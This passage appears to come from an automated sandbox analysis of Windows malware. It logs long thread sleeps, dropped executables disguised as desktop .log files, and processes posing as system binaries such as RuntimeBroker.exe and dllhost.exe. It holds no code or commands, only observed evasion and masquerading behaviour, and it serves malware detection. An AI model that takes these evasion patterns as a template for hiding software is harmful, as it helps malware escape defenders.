Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587937
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587814
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587640
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587531
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587390
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587218
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587062
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586937
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586718
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586593
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586453
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586343
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586174
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585875
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585765
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585593
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585468
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585312
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585187
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585078
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584953
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584828
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584625
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584406
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584296
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584187
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583984
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583843
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583703
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583515
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583406
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583203
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583078
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582953
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582781
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582656
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582422
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582281
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582140
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582031
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581906
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581793
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581684
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581542
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581394
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581250
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581100
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580984
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580874
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580750
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580640
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580488
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580367
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580199
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580079
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 579956
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 579812
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 579437
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 579125
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 578968
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 578781
Source: C:\Users\Default\dllhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\services.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3126	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2931	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3075	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3188
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3423
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Window / User API: threadDelayed 6456
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Window / User API: threadDelayed 2734

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JNcVLOYU.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YxwKIJCn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\aWyAiOqN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\ISGNtcvE.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\AlYgfivS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\RAZddEBm.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uAOGicXv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\xnyXtCUT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\BUSNQNBP.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tUuQbxCC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\hCfixIqA.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GtEXSWHd.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xHLPEuRq.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\cFtTdbwi.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PNpMSdEO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\jNBixaWB.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wKkHjuCv.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LYmDRkwM.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\cmzTJCKp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\mPnRSJaw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\JxaDAGRw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\ruVxRXPe.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UPplfwcz.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RIrcJdiD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\WorcGBQa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\utwGCCqd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\TgtTkjWe.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dkabfCZj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\FHjMtJQD.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vWgyxgGx.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\eqZjkpHb.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UBGLvaTC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\mHEzoazq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Dropped PE file which has not been started: C:\Users\user\Desktop\PynuHVwq.log	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp TID: 6960	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7192	Thread sleep count: 3126 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176	Thread sleep count: 2931 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep count: 3075 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7404	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7052	Thread sleep count: 3188 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7540	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7188	Thread sleep count: 3423 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Default\dllhost.exe TID: 7976	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Portable Devices\services.exe TID: 7560	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 7736	Thread sleep time: -30000s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -599874s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8100	Thread sleep time: -43200000s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -598828s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -598328s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -597047s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -596859s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -596703s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -596406s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -595906s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -595750s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -595640s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -595484s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -595343s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -595223s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -594359s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -594203s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -594078s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -593937s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -593828s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -593687s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -593562s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8100	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -593422s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -593265s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -593031s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -592859s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -592656s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -592437s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -592187s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -592031s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -591906s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -591781s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -591640s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -591422s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -591265s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -591140s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -590953s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -590812s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -590500s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -590359s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -590234s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -590078s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -589906s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -589797s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -589593s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -589484s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -589359s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -589218s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -589045s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -588734s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -588547s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -588437s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -588312s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -588203s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -588093s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -587937s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -587814s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -587640s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -587531s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -587390s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -587218s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -587062s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -586937s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -586718s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -586593s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -586453s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -586343s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -586174s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -586000s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -585875s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -585765s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -585593s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -585468s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -585312s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -585187s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -585078s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -584953s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -584828s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -584625s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -584406s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -584296s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -584187s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -583984s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -583843s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -583703s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -583515s >= -30000s
